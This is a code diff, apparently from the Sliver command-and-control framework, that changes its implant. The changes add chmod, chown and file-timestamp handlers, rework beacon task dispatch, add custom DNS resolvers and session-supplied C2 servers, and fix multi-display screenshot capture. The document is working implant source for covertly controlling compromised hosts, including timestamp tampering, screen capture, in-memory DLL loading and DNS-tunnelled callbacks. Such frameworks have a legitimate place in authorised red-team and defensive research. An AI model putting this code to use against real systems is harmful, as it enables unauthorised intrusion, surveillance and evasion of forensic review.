modernc.org/memory v1.5.0 h1:N+/8c5rE6EqugZwHii4IFsaJ7MUhoWX07J5tC/iI5Ds=
|
||||
modernc.org/memory v1.5.0/go.mod h1:PkUhL0Mugw21sHPeskwZW4D6VscE/GQJOnIpCnW6pSU=
|
||||
modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
|
||||
modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
|
||||
modernc.org/sqlite v1.21.0 h1:4aP4MdUf15i3R3M2mx6Q90WHKz3nZLoz96zlB6tNdow=
|
||||
modernc.org/sqlite v1.21.0/go.mod h1:XwQ0wZPIh1iKb5mkvCJ3szzbhk+tykC8ZWqTRTgYRwI=
|
||||
modernc.org/sqlite v1.22.1 h1:P2+Dhp5FR1RlVRkQ3dDfCiv3Ok8XPxqpe70IjYVA9oE=
|
||||
modernc.org/sqlite v1.22.1/go.mod h1:OrDj17Mggn6MhE+iPbBNf7RGKODDE9NFT0f3EwDzJqk=
|
||||
modernc.org/strutil v1.1.3 h1:fNMm+oJklMGYfU9Ylcywl0CO5O6nTfaowNsh2wpPjzY=
|
||||
modernc.org/strutil v1.1.3/go.mod h1:MEHNA7PdEnEwLvspRMtWTNnp2nnyvMfkimT1NKNAGbw=
|
||||
modernc.org/tcl v1.15.1 h1:mOQwiEK4p7HruMZcwKTZPw/aqtGM4aY00uzWhlKKYws=
|
||||
modernc.org/tcl v1.15.2 h1:C4ybAYCGJw968e+Me18oW55kD/FexcHbqH2xak1ROSY=
|
||||
modernc.org/token v1.0.1 h1:A3qvTqOwexpfZZeyI0FeGPDlSWX5pjZu9hF4lU+EKWg=
|
||||
modernc.org/token v1.0.1/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM=
|
||||
modernc.org/z v1.7.0 h1:xkDw/KepgEjeizO2sNco+hqYkU12taxQFqPEmgm1GWE=
|
||||
modernc.org/z v1.7.3 h1:zDJf6iHjrnB+WRD88stbXokugjyc0/pB91ri1gO6LZY=
|
||||
@@ -37,12 +37,11 @@ const (
|
||||
)
|
||||
|
||||
type WindowsExtension struct {
|
||||
id string
|
||||
data []byte
|
||||
module *memmod.Module
|
||||
arch string
|
||||
init string
|
||||
onFinish func([]byte)
|
||||
id string
|
||||
data []byte
|
||||
module *memmod.Module
|
||||
arch string
|
||||
init string
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
@@ -101,8 +100,7 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
|
||||
if w.module == nil {
|
||||
return errors.New("{{if .Config.Debug}} module not loaded {{end}}")
|
||||
}
|
||||
w.onFinish = onFinish
|
||||
callback := syscall.NewCallback(w.extensionCallback)
|
||||
callback := syscall.NewCallback(newWindowsExtensionCallback(onFinish))
|
||||
exportPtr, err := w.module.ProcAddressByName(export)
|
||||
if err != nil {
|
||||
return err
|
||||
@@ -127,13 +125,15 @@ func (w *WindowsExtension) Call(export string, arguments []byte, onFinish func([
|
||||
return nil
|
||||
}
|
||||
|
||||
// extensionCallback takes a buffer (char *) and its size (int) as parameters
|
||||
// so we can pass data back to the Go process from the loaded DLL
|
||||
func (w *WindowsExtension) extensionCallback(data uintptr, dataLen uintptr) uintptr {
|
||||
outDataSize := int(dataLen)
|
||||
outBytes := unsafe.Slice((*byte)(unsafe.Pointer(data)), outDataSize)
|
||||
if dataLen > 0 {
|
||||
w.onFinish(outBytes)
|
||||
func newWindowsExtensionCallback(onFinish func([]byte)) func(data uintptr, dataLen uintptr) uintptr {
|
||||
// extensionCallback takes a buffer (char *) and its size (int) as parameters
|
||||
// so we can pass data back to the Go process from the loaded DLL
|
||||
return func(data uintptr, dataLen uintptr) uintptr {
|
||||
outDataSize := int(dataLen)
|
||||
outBytes := unsafe.Slice((*byte)(unsafe.Pointer(data)), outDataSize)
|
||||
if dataLen > 0 {
|
||||
onFinish(outBytes)
|
||||
}
|
||||
return Success
|
||||
}
|
||||
return Success
|
||||
}
|
||||
@@ -208,6 +208,10 @@ func dirListHandler(data []byte, resp RPCResponse) {
|
||||
linkPath = ""
|
||||
}
|
||||
}
|
||||
|
||||
sliverFileInfo.Uid = getUid(fileInfo)
|
||||
sliverFileInfo.Gid = getGid(fileInfo)
|
||||
|
||||
sliverFileInfo.Name = dirEntry.Name()
|
||||
sliverFileInfo.IsDir = dirEntry.IsDir()
|
||||
sliverFileInfo.Link = linkPath
|
||||
@@ -612,6 +616,11 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
}
|
||||
}
|
||||
|
||||
go func() {
|
||||
cmd.Wait()
|
||||
}()
|
||||
|
||||
if cmd.Process != nil {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
}
|
||||
@@ -952,3 +961,41 @@ func expandPath(exePath string) (string, error) {
|
||||
}
|
||||
return exePath, nil
|
||||
}
|
||||
|
||||
func chtimesHandler(data []byte, resp RPCResponse) {
|
||||
chtimesReq := &sliverpb.ChtimesReq{}
|
||||
err := proto.Unmarshal(data, chtimesReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
chtimes := &sliverpb.Chtimes{}
|
||||
target, _ := filepath.Abs(chtimesReq.Path)
|
||||
chtimes.Path = target
|
||||
// Make sure file exists
|
||||
_, err = os.Stat(target)
|
||||
|
||||
chtimes.Response = &commonpb.Response{}
|
||||
if err == nil {
|
||||
|
||||
unixAtime := int64(chtimesReq.ATime)
|
||||
atime := time.Unix(unixAtime, 0)
|
||||
|
||||
unixMtime := int64(chtimesReq.MTime)
|
||||
mtime := time.Unix(unixMtime, 0)
|
||||
|
||||
err = os.Chtimes(target, atime, mtime)
|
||||
if err != nil {
|
||||
chtimes.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
} else {
|
||||
chtimes.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(chtimes)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -19,6 +19,10 @@ package handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/user"
|
||||
"syscall"
|
||||
"strconv"
|
||||
"github.com/bishopfox/sliver/implant/sliver/extension"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -43,6 +47,7 @@ var (
|
||||
pb.MsgEnvReq: getEnvHandler,
|
||||
pb.MsgSetEnvReq: setEnvHandler,
|
||||
pb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
pb.MsgChtimesReq: chtimesHandler,
|
||||
|
||||
pb.MsgScreenshotReq: screenshotHandler,
|
||||
pb.MsgNetstatReq: netstatHandler,
|
||||
@@ -140,3 +145,23 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
data, err = proto.Marshal(lstResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func getUid(fileInfo os.FileInfo) (string) {
|
||||
uid := int32(fileInfo.Sys().(*syscall.Stat_t).Uid)
|
||||
uid_str := strconv.FormatUint(uint64(uid), 10)
|
||||
usr, err := user.LookupId(uid_str)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return usr.Name
|
||||
}
|
||||
|
||||
func getGid(fileInfo os.FileInfo) (string) {
|
||||
gid := int32(fileInfo.Sys().(*syscall.Stat_t).Gid)
|
||||
gid_str := strconv.FormatUint(uint64(gid), 10)
|
||||
grp, err := user.LookupGroupId(gid_str)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return grp.Name
|
||||
}
|
||||
@@ -27,6 +27,7 @@ package handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
"os"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
@@ -46,6 +47,7 @@ var (
|
||||
sliverpb.MsgEnvReq: getEnvHandler,
|
||||
sliverpb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
}
|
||||
)
|
||||
|
||||
@@ -58,3 +60,13 @@ func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
func GetSystemPivotHandlers() map[uint32]PivotHandler {
|
||||
return map[uint32]PivotHandler{}
|
||||
}
|
||||
|
||||
// Stub
|
||||
func getUid(fileInfo os.FileInfo) (string) {
|
||||
return ""
|
||||
}
|
||||
|
||||
// Stub
|
||||
func getGid(fileInfo os.FileInfo) (string) {
|
||||
return ""
|
||||
}
|
||||
@@ -19,7 +19,19 @@ package handlers
|
||||
*/
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/user"
|
||||
"syscall"
|
||||
"strconv"
|
||||
"io/fs"
|
||||
"path/filepath"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
)
|
||||
|
||||
var (
|
||||
@@ -60,6 +72,11 @@ var (
|
||||
sliverpb.MsgWGStopSocksReq: wgStopSocksHandler,
|
||||
sliverpb.MsgWGListSocksReq: wgListSocksServersHandler,
|
||||
// {{end}}
|
||||
|
||||
// Linux Only
|
||||
sliverpb.MsgChmodReq: chmodHandler,
|
||||
sliverpb.MsgChownReq: chownHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
}
|
||||
)
|
||||
|
||||
@@ -67,3 +84,185 @@ var (
|
||||
func GetSystemHandlers() map[uint32]RPCHandler {
|
||||
return linuxHandlers
|
||||
}
|
||||
|
||||
func getUid(fileInfo os.FileInfo) (string) {
|
||||
uid := int32(fileInfo.Sys().(*syscall.Stat_t).Uid)
|
||||
uid_str := strconv.FormatUint(uint64(uid), 10)
|
||||
usr, err := user.LookupId(uid_str)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return usr.Name
|
||||
}
|
||||
|
||||
func getGid(fileInfo os.FileInfo) (string) {
|
||||
gid := int32(fileInfo.Sys().(*syscall.Stat_t).Gid)
|
||||
gid_str := strconv.FormatUint(uint64(gid), 10)
|
||||
grp, err := user.LookupGroupId(gid_str)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return grp.Name
|
||||
}
|
||||
|
||||
func chmodHandler(data []byte, resp RPCResponse) {
|
||||
chmodReq := &sliverpb.ChmodReq{}
|
||||
err := proto.Unmarshal(data, chmodReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
chmod := &sliverpb.Chmod{}
|
||||
target, _ := filepath.Abs(chmodReq.Path)
|
||||
chmod.Path = target
|
||||
// Make sure file exists
|
||||
_, err = os.Stat(target)
|
||||
|
||||
chmod.Response = &commonpb.Response{}
|
||||
if err == nil {
|
||||
// Convert string to octal number
|
||||
octal, err := strconv.ParseInt(chmodReq.FileMode, 8, 32)
|
||||
if err == nil {
|
||||
|
||||
setuid := octal & 04000
|
||||
setgid := octal & 02000
|
||||
setstcky := octal & 01000
|
||||
|
||||
// Cast the octal number to fs.FileMode
|
||||
fileMode := os.FileMode(octal)
|
||||
|
||||
// Found this was necessary because the constructor above doesn't set special permissions
|
||||
if setuid > 0 {
|
||||
fileMode = fileMode | os.ModeSetuid
|
||||
}
|
||||
if setgid > 0 {
|
||||
fileMode = fileMode | os.ModeSetgid
|
||||
}
|
||||
if setstcky > 0 {
|
||||
fileMode = fileMode | os.ModeSticky
|
||||
}
|
||||
|
||||
if chmodReq.Recursive {
|
||||
|
||||
err := filepath.WalkDir(target, func(file string, d fs.DirEntry, err error) error {
|
||||
if err == nil {
|
||||
err = os.Chmod(file, fileMode)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
} else {
|
||||
err = os.Chmod(target, fileMode)
|
||||
if err != nil {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
}
|
||||
} else {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
} else {
|
||||
chmod.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
data, err = proto.Marshal(chmod)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
func chownHandler(data []byte, resp RPCResponse) {
|
||||
|
||||
// variable definitions so goto won't break
|
||||
var uid_str string
|
||||
var gid_str string
|
||||
var gid uint64
|
||||
var uid uint64
|
||||
var err error
|
||||
var usr *user.User
|
||||
var grp *user.Group
|
||||
|
||||
chownReq := &sliverpb.ChownReq{}
|
||||
err = proto.Unmarshal(data, chownReq)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
chown := &sliverpb.Chown{}
|
||||
target, _ := filepath.Abs(chownReq.Path)
|
||||
chown.Path = target
|
||||
_, err = os.Stat(target)
|
||||
|
||||
chown.Response = &commonpb.Response{}
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
uid_str = chownReq.Uid
|
||||
usr, err = user.Lookup(uid_str)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
uid, err = strconv.ParseUint(usr.Uid, 10, 32)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
gid_str = chownReq.Gid
|
||||
grp, err = user.LookupGroup(gid_str)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
gid, err = strconv.ParseUint(grp.Gid, 10, 32)
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
goto finished
|
||||
}
|
||||
|
||||
// Check if the recursive flag is set and the path is a directory
|
||||
if chownReq.Recursive {
|
||||
|
||||
err := filepath.WalkDir(target, func(file string, d fs.DirEntry, err error) error {
|
||||
if err == nil {
|
||||
err = os.Chown(file, int(uid), int(gid))
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
})
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
err = os.Chown(target, int(uid), int(gid))
|
||||
if err != nil {
|
||||
chown.Response.Err = err.Error()
|
||||
}
|
||||
}
|
||||
|
||||
finished:
|
||||
data, err = proto.Marshal(chown)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -99,6 +99,7 @@ var (
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
sliverpb.MsgReconfigureReq: reconfigureHandler,
|
||||
sliverpb.MsgSSHCommandReq: runSSHCommandHandler,
|
||||
sliverpb.MsgChtimesReq: chtimesHandler,
|
||||
|
||||
// Extensions
|
||||
sliverpb.MsgRegisterExtensionReq: registerExtensionHandler,
|
||||
@@ -746,3 +747,13 @@ func listExtensionsHandler(data []byte, resp RPCResponse) {
|
||||
data, err = proto.Marshal(lstResp)
|
||||
resp(data, err)
|
||||
}
|
||||
|
||||
// Stub since Windows doesn't support UID
|
||||
func getUid(fileInfo os.FileInfo) (string) {
|
||||
return ""
|
||||
}
|
||||
|
||||
// Stub since Windows doesn't support GID
|
||||
func getGid(fileInfo os.FileInfo) (string) {
|
||||
return ""
|
||||
}
|
||||
@@ -121,9 +121,11 @@ func ExecLimits() {
|
||||
} else {
|
||||
log.Printf("LimitLocale regexp %#v does not match %#v", `{{.Config.LimitLocale}}`, locale)
|
||||
}
|
||||
// {{else}}
|
||||
_ = err
|
||||
// {{end}}
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -20,6 +20,7 @@ package screen
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"image"
|
||||
"image/png"
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
@@ -28,7 +29,7 @@ import (
|
||||
screen "github.com/kbinani/screenshot"
|
||||
)
|
||||
|
||||
//Screenshot - Retrieve the screenshot of the active displays
|
||||
// Screenshot - Retrieve the screenshot of the active displays
|
||||
func Screenshot() []byte {
|
||||
return WindowsCapture()
|
||||
}
|
||||
@@ -37,15 +38,13 @@ func Screenshot() []byte {
|
||||
func WindowsCapture() []byte {
|
||||
nDisplays := screen.NumActiveDisplays()
|
||||
|
||||
var height, width int = 0, 0
|
||||
var all image.Rectangle = image.Rect(0, 0, 0, 0)
|
||||
|
||||
for i := 0; i < nDisplays; i++ {
|
||||
rect := screen.GetDisplayBounds(i)
|
||||
if rect.Dy() > height {
|
||||
height = rect.Dy()
|
||||
}
|
||||
width += rect.Dx()
|
||||
all = rect.Union(all)
|
||||
}
|
||||
img, err := screen.Capture(0, 0, width, height)
|
||||
img, err := screen.Capture(all.Min.X, all.Min.Y, all.Dx(), all.Dy())
|
||||
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
|
||||
+79
-41
@@ -162,6 +162,14 @@ func main() {
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||
debugFilePath := "{{ .Config.DebugFile }}"
|
||||
if debugFilePath != "" {
|
||||
// Open the log file for writing
|
||||
file, err := os.OpenFile(debugFilePath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0666)
|
||||
if err == nil {
|
||||
log.SetOutput(file)
|
||||
}
|
||||
}
|
||||
// {{else}}
|
||||
log.SetFlags(0)
|
||||
log.SetOutput(ioutil.Discard)
|
||||
@@ -394,13 +402,50 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
return nil
|
||||
}
|
||||
|
||||
var tasksExtensionRegister []*sliverpb.Envelope
|
||||
var tasksOther []*sliverpb.Envelope
|
||||
|
||||
for _, task := range tasks.Tasks {
|
||||
switch task.Type {
|
||||
case sliverpb.MsgRegisterExtensionReq:
|
||||
tasksExtensionRegister = append(tasksExtensionRegister, task)
|
||||
default:
|
||||
tasksOther = append(tasksOther, task)
|
||||
}
|
||||
}
|
||||
|
||||
// ensure extensions are registered before they are called
|
||||
var results []*sliverpb.Envelope
|
||||
for _, r := range beaconHandleTasklist(tasksExtensionRegister) {
|
||||
results = append(results, r)
|
||||
}
|
||||
for _, r := range beaconHandleTasklist(tasksOther) {
|
||||
results = append(results, r)
|
||||
}
|
||||
|
||||
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
|
||||
ID: InstanceID,
|
||||
Tasks: results,
|
||||
}))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] error sending results %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] all results sent to server, cleanup ...")
|
||||
// {{end}}
|
||||
return nil
|
||||
}
|
||||
|
||||
func beaconHandleTasklist(tasks []*sliverpb.Envelope) []*sliverpb.Envelope {
|
||||
results := []*sliverpb.Envelope{}
|
||||
resultsMutex := &sync.Mutex{}
|
||||
wg := &sync.WaitGroup{}
|
||||
sysHandlers := handlers.GetSystemHandlers()
|
||||
specHandlers := handlers.GetSpecialHandlers()
|
||||
|
||||
for _, task := range tasks.Tasks {
|
||||
for _, task := range tasks {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] execute task %d", task.Type)
|
||||
// {{end}}
|
||||
@@ -409,37 +454,41 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
data := task.Data
|
||||
taskID := task.ID
|
||||
// {{if eq .Config.GOOS "windows" }}
|
||||
go handlers.WrapperHandler(handler, data, func(data []byte, err error) {
|
||||
resultsMutex.Lock()
|
||||
defer resultsMutex.Unlock()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
log.Printf("[beacon] handler function returned an error: %s", err)
|
||||
}
|
||||
log.Printf("[beacon] task completed (id: %d)", taskID)
|
||||
// {{end}}
|
||||
results = append(results, &sliverpb.Envelope{
|
||||
ID: taskID,
|
||||
Data: data,
|
||||
handlers.WrapperHandler(handler, data, func(data []byte, err error) {
|
||||
resultsMutex.Lock()
|
||||
defer resultsMutex.Unlock()
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
log.Printf("[beacon] handler function returned an error: %s", err)
|
||||
}
|
||||
log.Printf("[beacon] task completed (id: %d)", taskID)
|
||||
// {{end}}
|
||||
results = append(results, &sliverpb.Envelope{
|
||||
ID: taskID,
|
||||
Data: data,
|
||||
})
|
||||
})
|
||||
})
|
||||
}()
|
||||
// {{else}}
|
||||
go handler(data, func(data []byte, err error) {
|
||||
resultsMutex.Lock()
|
||||
defer resultsMutex.Unlock()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
log.Printf("[beacon] handler function returned an error: %s", err)
|
||||
}
|
||||
log.Printf("[beacon] task completed (id: %d)", taskID)
|
||||
// {{end}}
|
||||
results = append(results, &sliverpb.Envelope{
|
||||
ID: taskID,
|
||||
Data: data,
|
||||
handler(data, func(data []byte, err error) {
|
||||
resultsMutex.Lock()
|
||||
defer resultsMutex.Unlock()
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
log.Printf("[beacon] handler function returned an error: %s", err)
|
||||
}
|
||||
log.Printf("[beacon] task completed (id: %d)", taskID)
|
||||
// {{end}}
|
||||
results = append(results, &sliverpb.Envelope{
|
||||
ID: taskID,
|
||||
Data: data,
|
||||
})
|
||||
})
|
||||
})
|
||||
}()
|
||||
// {{end}}
|
||||
} else if task.Type == sliverpb.MsgOpenSession {
|
||||
go openSessionHandler(task.Data)
|
||||
@@ -461,6 +510,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
resultsMutex.Unlock()
|
||||
}
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] waiting for task(s) to complete ...")
|
||||
// {{end}}
|
||||
@@ -469,19 +519,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
log.Printf("[beacon] all tasks completed, sending results to server")
|
||||
// {{end}}
|
||||
|
||||
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
|
||||
ID: InstanceID,
|
||||
Tasks: results,
|
||||
}))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] error sending results %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] all results sent to server, cleanup ...")
|
||||
// {{end}}
|
||||
return nil
|
||||
return results
|
||||
}
|
||||
|
||||
func openSessionHandler(data []byte) {
|
||||
@@ -502,7 +540,7 @@ func openSessionHandler(data []byte) {
|
||||
|
||||
go func() {
|
||||
abort := make(chan struct{})
|
||||
connections := transports.StartConnectionLoop(abort)
|
||||
connections := transports.StartConnectionLoop(abort, openSession.C2S...)
|
||||
defer func() { abort <- struct{}{} }()
|
||||
connectionAttempts := 0
|
||||
for connection := range connections {
|
||||
|
||||
@@ -103,6 +103,7 @@ type DNSOptions struct {
|
||||
WorkersPerResolver int
|
||||
ForceBase32 bool
|
||||
ForceResolvConf string
|
||||
ForceResolvers string
|
||||
}
|
||||
|
||||
// ParseDNSOptions - Parse c2 specific options
|
||||
@@ -141,6 +142,7 @@ func ParseDNSOptions(c2URI *url.URL) *DNSOptions {
|
||||
WorkersPerResolver: workersPerResolver,
|
||||
ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
|
||||
ForceResolvConf: c2URI.Query().Get("force-resolv-conf"),
|
||||
ForceResolvers: c2URI.Query().Get("resolvers"),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -166,6 +168,7 @@ func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient {
|
||||
parent: parent,
|
||||
forceBase32: opts.ForceBase32,
|
||||
forceResolvConf: opts.ForceResolvConf,
|
||||
forceResolvers: opts.ForceResolvers,
|
||||
queryTimeout: opts.QueryTimeout,
|
||||
retryWait: opts.RetryWait,
|
||||
retryCount: opts.RetryCount,
|
||||
@@ -190,6 +193,7 @@ type SliverDNSClient struct {
|
||||
queryTimeout time.Duration
|
||||
forceBase32 bool
|
||||
forceResolvConf string
|
||||
forceResolvers string
|
||||
subdataSpace int
|
||||
dnsSessionID uint32
|
||||
msgCount uint32
|
||||
@@ -738,13 +742,33 @@ func (s *SliverDNSClient) getDNSSessionID() error {
|
||||
|
||||
func (s *SliverDNSClient) loadResolvConf() error {
|
||||
var err error
|
||||
if len(s.forceResolvConf) < 1 {
|
||||
if len(s.forceResolvConf) < 1 && s.forceResolvers == "" {
|
||||
s.resolvConf, err = dnsClientConfig()
|
||||
} else if s.forceResolvers != "" {
|
||||
// Convert the specified resolvers into a string that dns.ClientConfigFromReader can understand
|
||||
// Strip out spaces and split on commas
|
||||
resolversSlice := strings.Split(s.forceResolvers, " ")
|
||||
s.resolvConf, err = dns.ClientConfigFromReader(strings.NewReader("nameserver " + strings.Join(resolversSlice, "\nnameserver ")))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] Error trying to use specified resolvers (%s): %s", s.forceResolvers, err.Error())
|
||||
// {{end}}
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] Using specified DNS resolvers: %s", s.forceResolvers)
|
||||
// {{end}}
|
||||
}
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] Using forced resolv.conf: %s", s.forceResolvConf)
|
||||
// {{end}}
|
||||
s.resolvConf, err = dns.ClientConfigFromReader(strings.NewReader(s.forceResolvConf))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] Error trying to use forced resolv.conf (%s): %s", s.forceResolvConf, err.Error())
|
||||
// {{end}}
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[dns] Using forced resolv.conf: %s", s.forceResolvConf)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -80,7 +80,7 @@ type Start func() error
|
||||
type Stop func() error
|
||||
|
||||
// StartConnectionLoop - Starts the main connection loop
|
||||
func StartConnectionLoop(abort <-chan struct{}) <-chan *Connection {
|
||||
func StartConnectionLoop(abort <-chan struct{}, temporaryC2 ...string) <-chan *Connection {
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Starting interactive session connection loop ...")
|
||||
@@ -88,7 +88,7 @@ func StartConnectionLoop(abort <-chan struct{}) <-chan *Connection {
|
||||
|
||||
nextConnection := make(chan *Connection)
|
||||
innerAbort := make(chan struct{})
|
||||
c2Generator := C2Generator(innerAbort)
|
||||
c2Generator := C2Generator(innerAbort, temporaryC2...)
|
||||
|
||||
go func() {
|
||||
var connection *Connection
|
||||
|
||||
@@ -36,17 +36,26 @@ const (
|
||||
)
|
||||
|
||||
// C2Generator - Creates a stream of C2 URLs based on a connection strategy
|
||||
func C2Generator(abort <-chan struct{}) <-chan *url.URL {
|
||||
func C2Generator(abort <-chan struct{}, temporaryC2 ...string) <-chan *url.URL {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Starting c2 url generator ({{.Config.ConnectionStrategy}}) ...")
|
||||
// {{end}}
|
||||
|
||||
c2Servers := []func() string{}
|
||||
// {{range $index, $value := .Config.C2}}
|
||||
c2Servers = append(c2Servers, func() string {
|
||||
return "{{$value}}" // {{$index}}
|
||||
})
|
||||
// {{end}} - range
|
||||
// Any temporary C2 servers that are defined will override what is configured in the implant
|
||||
if len(temporaryC2) > 0 {
|
||||
for _, c2 := range temporaryC2 {
|
||||
c2Servers = append(c2Servers, func() string {
|
||||
return c2
|
||||
})
|
||||
}
|
||||
} else {
|
||||
// {{range $index, $value := .Config.C2}}
|
||||
c2Servers = append(c2Servers, func() string {
|
||||
return "{{$value}}" // {{$index}}
|
||||
})
|
||||
// {{end}} - range
|
||||
}
|
||||
|
||||
generator := make(chan *url.URL)
|
||||
go func() {
|
||||
|
||||
+568
-547
File diff suppressed because it is too large.
Load diff
@@ -137,10 +137,11 @@ message ImplantConfig {
|
||||
string MtlsCert = 21;
|
||||
string MtlsKey = 22;
|
||||
|
||||
string ECCPublicKey = 23;
|
||||
string ECCPrivateKey = 24;
|
||||
string ECCPublicKeySignature = 25;
|
||||
string MinisignServerPublicKey = 26;
|
||||
string ECCServerPublicKey = 23;
|
||||
string ECCPublicKey = 24;
|
||||
string ECCPrivateKey = 25;
|
||||
string ECCPublicKeySignature = 26;
|
||||
string MinisignServerPublicKey = 27;
|
||||
|
||||
string WGImplantPrivKey = 30;
|
||||
string WGServerPubKey = 31;
|
||||
@@ -171,6 +172,7 @@ message ImplantConfig {
|
||||
bool IsShellcode = 104;
|
||||
|
||||
bool RunAtLoad = 105;
|
||||
string DebugFile = 106;
|
||||
}
|
||||
|
||||
message ExternalImplantConfig {
|
||||
|
||||
@@ -1,6 +1,6 @@
|
